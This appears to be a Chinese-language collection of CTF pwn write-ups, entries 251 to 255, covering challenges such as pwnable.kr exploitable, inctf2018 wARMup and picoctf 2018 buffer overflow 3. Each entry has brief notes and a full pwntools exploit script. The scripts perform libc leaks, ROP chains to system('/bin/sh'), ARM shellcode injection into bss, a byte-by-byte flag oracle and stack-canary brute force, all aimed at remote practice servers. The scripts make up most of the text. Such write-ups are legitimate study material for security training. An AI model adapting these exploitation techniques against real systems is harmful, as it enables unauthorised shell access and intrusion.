251 pwnable.kr_exploitable
就这么一点。
leak_memory
先是泄露了bss_start里的数值,然后可以输入一个函数,执行那里的代码。
from pwn import *
context.log_level='debug'
r = remote("node4.buuoj.cn", 26058)
#r = process("./251")
libc = ELF("./32/libc-2.23.so")
libc_base = u32(r.recv(4)) - libc.sym['_IO_2_1_stdout_']
print "libc_base = " + hex(libc_base)
one_gadget = libc_base + 0x3a80c
r.sendline(str(one_gadget - 0x100000000))
#因为scanf用的是%d,直接输入数字太大,会被截断成0x7fffffff,所以必须输入负数
r.interactive()
252 鹏城杯_2018_code
输入的字符必须是可见字符,然后通过加密函数。
输入的字符要满足迭代加起来之后等于外面那个值,然后就会进入可以利用的函数里面。
是一个栈溢出,直接rop就可以。
所以咱先研究那个你输入点啥这个解密问题。
得写个算法。
exp
from pwn import *
context(log_level='debug',arch='amd64')
r = remote("node4.buuoj.cn",25080)
elf = ELF("./252")
libc = ELF("./64/libc-2.27.so")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
have_fun=0x400801
pop_rdi_ret=0x400983
ret=0x40055e
r.sendline('wyBTs')
r.recv()
payload='a' * 0x78 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(have_fun)
r.sendline(payload)
r.recvuntil('\x0a')
puts_addr=u64(r.recv(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search("/bin/sh").next()
payload='a' * 0x78 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
r.sendline(payload)
r.interactive()
253 inctf2018_wARMup
显然有个栈溢出。
利用两个gadget。
arm的bss段都是可执行的。
所以迁移过去yongshellcode就可以了。
exp
from pwn import *
r = process(["qemu-arm","-L", "./", "./wARMup"])
elf=ELF('./wARMup')
context.log_level='debug'
context.arch='arm'
offset=0x68
#0x00010364 : pop {r3, pc}
payload=b'a'*(offset-4)+p32(elf.bss())
payload+=p32(0x00010364)+p32(elf.bss())+p32(0x00010530)#gadget r3 pc
r.recvuntil('Welcome to bi0s CTF!')
r.sendline(payload)
shellcode = asm(shellcraft.sh())
r.sendline(p32(elf.bss() + 4) + shellcode)
r.interactive()
254 jarvisoj_guess
逻辑简单。
就是转换没有检查flag_hex值是否向上越界,如果向上越界,我们可以令flag_hex[i]为’0’,而flag_hex[i+1]为offset,那么如果取到上面v4的内容,就能通过比较。
exp
#coding:utf8
from pwn import *
#预先生成一个可以pass的payload
payload = ''
for i in range(50):
payload += '0'
payload += p8(0x100-0x40 + i)
r = remote('node3.buuoj.cn',28532)
flag = ''
for i in range(1,51):
print "guess the index {}'s char".format(i)
for c in range(32,128):
pay = payload[0:2*i-2] + hex(c)[2:] + payload[2*i:]
r.sendlineafter('guess> ',pay)
ans = r.recvuntil('\n')
if 'Yaaaay!' in ans:
flag += chr(c)
break
print 'flag=',flag
r.close()
255 picoctf_2018_buffer overflow 3
canary从文件读的,读到了bss。
因为文件内容不变,直接爆破就好。
#coding:utf8
from pwn import *
shell = ssh(host='node4.buuoj.cn', user='CTFMan', port=29807, password='guest')
context.log_level = "critical"
#只输出alert和emergency这两种错误等级的信息
canary = ''
for i in range(4):
for c in range(0xFF):
r = shell.process('./vuln')
r.sendlineafter('>','-1')
payload = 'a'*0x20 + canary + p8(c)
r.sendafter('Input>',payload)
r.recv(1)
ans = sh.recv()
if 'Canary Value Corrupt!' not in ans:
print 'success guess the index({}),value({})'.format(i,c)
canary += p8(c)
break
else:
print 'try to guess the index({}) value'.format(i)
r.close()
print 'canary=',canary
payload = 'a'*0x20 + canary + p32(0)*4 + p32(0x080486EB)
r = shell.process('./vuln')
r.sendlineafter('>','-1')
r.sendafter('Input>',payload)
r.interactive()